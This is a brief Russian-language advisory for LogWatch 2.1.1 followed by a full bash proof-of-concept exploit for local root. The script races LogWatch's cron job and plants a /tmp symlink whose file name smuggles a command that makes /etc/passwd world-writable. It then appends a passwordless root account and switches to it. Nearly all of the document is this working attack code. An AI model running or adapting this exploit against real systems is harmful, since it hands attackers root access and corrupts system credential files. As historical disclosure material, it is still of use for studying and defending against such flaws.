LogWatch - настраиваемая программа для
слежения за логами. Локальный пользователь
может использовать ее для выполнения
произвольного кода на системе.
Эксплоит:
#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak <spybreak@host.sk>
SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/
echo
echo "LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak <spybreak@host.sk>'
echo
echo "Waiting for LogWatch to be executed"
while :; do
set `ps -o pid -C $SERVANT`
if [ -n "$2" ]; then
mkdir /tmp/logwatch.$2
ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
break;
fi
done
echo "Waiting for LogWatch to finish it's work"
while :; do
set `ps -o pid -C $SERVANT`
if [ -z "$2" ]; then
ls -l /etc/passwd|mail root
echo master::0:0:master:/root:/bin/bash >> /etc/passwd
break;
fi
done
su master
